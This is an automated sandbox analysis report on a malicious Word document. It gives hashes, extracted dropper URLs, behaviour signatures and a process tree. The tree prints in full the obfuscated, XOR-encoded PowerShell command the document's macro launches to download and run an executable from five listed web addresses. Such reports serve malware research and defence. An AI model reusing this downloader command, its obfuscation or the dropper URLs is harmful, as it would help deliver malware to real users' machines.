Analysis

  • max time kernel
    139s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 14:21

General

  • Target

    723f47c53018552ca0215c66092263da_JaffaCakes118.doc

  • Size

    241KB

  • MD5

    723f47c53018552ca0215c66092263da

  • SHA1

    9784d55d70eb987a104a26d1d24b3bbed79f6f96

  • SHA256

    b3c6a641fd966a5ffa0a9fa9241ea45be5c873f2523ca0b281467968a3a78137

  • SHA512

    6670b6629d5c5e4b88acc83f8ea16b696c389b0005c9de6d00406a46d874c1204665da0995fd30c01ddff4401c34298de93a7547ad88dc25e5d7d2b7eec91b58

  • SSDEEP

    3072:tH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5EyXJm9YBmjDTy7D6tGff:tFVeEsjdXRC3jexGG6TYWofTyv6tGf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wildpete.com/73v5/

exe.dropper

http://www.escoladeemagrecimento.com.br/jl/

exe.dropper

http://www.southgatetowerquan7.com.vn/aokE/

exe.dropper

http://www.salinzada.com/4A3bU8Pb/

exe.dropper

http://www.tomsbigworld.com/VKT9j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\723f47c53018552ca0215c66092263da_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &( $Env:COMsPeC[4,24,25]-jOiN'')( -jOiN ('4f65N81p105N29u78L69L87N13L79N66p74S69K67f84O0f110S69L84y14u119u69p66N99K76L73O69N78O84{27L4u107K114O87f29N7K72{84N84{80K26y15L15y87K73y76y68L80f69p84y69L14y67f79N77O15L23f19L86p21K15y96u72f84K84S80u26f15N15N87y87p87O14O69f83y67p79u76S65u68O69K69O77p65p71S82N69N67K73{77L69L78N84N79y14O67f79S77y14{66S82N15N74{76N15N96K72u84L84u80K26S15f15u87S87f87y14O83p79{85f84f72N71{65L84p69L84y79{87S69S82N81y85u65{78p23L14K67f79u77p14y86f78y15u65L79N75f101L15S96S72S84p84K80y26K15N15{87N87y87p14K83{65y76N73O78S90S65O68S65f14p67p79N77u15p20K97{19N66p117O24{112L66f15N96S72L84y84f80K26f15u15K87S87N87L14{84N79f77p83N66S73L71O87K79p82u76y68N14p67p79f77{15f118S107u116p25N74{15f7O14u115O80{76S73p84y8y7L96u7f9K27u4f87f102O100p0L29{0p7S22f17N19S7K27{4p82f99L65{29{4f69K78K86L26O84p69K77L80N11u7S124K7S11u4K87L102K100O11f7O14S69K88O69{7p27K70L79f82N69K65O67y72O8O4u106f82N77y0N73S78K0f4N107{114N87u9O91O84u82S89u91L4f65p81O105S14u100f79{87y78K76p79S65N68S102u73u76u69p8K4{106L82K77{12N0f4K82S99y65y9{27N115f84N65L82K84K13L112u82u79S67S69{83y83f0K4p82u99u65S27O66L82L69O65u75p27N93O67O65y84u67L72L91{93N93'.SpLIt('SNKOLpfyu{')| % { [ChaR] ( $_ -Bxor "0x20")} ))
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:472

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxldxr52.35p.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • memory/472-34-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/472-50-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/472-47-0x0000013D6B0A0000-0x0000013D6B0C2000-memory.dmp

    Filesize

    136KB

  • memory/800-18-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-30-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-7-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-8-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-9-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-10-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-11-0x00007FFCE1F30000-0x00007FFCE1F40000-memory.dmp

    Filesize

    64KB

  • memory/800-12-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-13-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-15-0x00007FFCE1F30000-0x00007FFCE1F40000-memory.dmp

    Filesize

    64KB

  • memory/800-14-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-16-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-19-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-0-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-17-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-6-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-32-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-33-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-5-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-4-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-3-0x00007FFD2416D000-0x00007FFD2416E000-memory.dmp

    Filesize

    4KB

  • memory/800-1-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-56-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-2-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-309-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-535-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-536-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB

  • memory/800-558-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-559-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-561-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-560-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

    Filesize

    64KB

  • memory/800-562-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

    Filesize

    2.0MB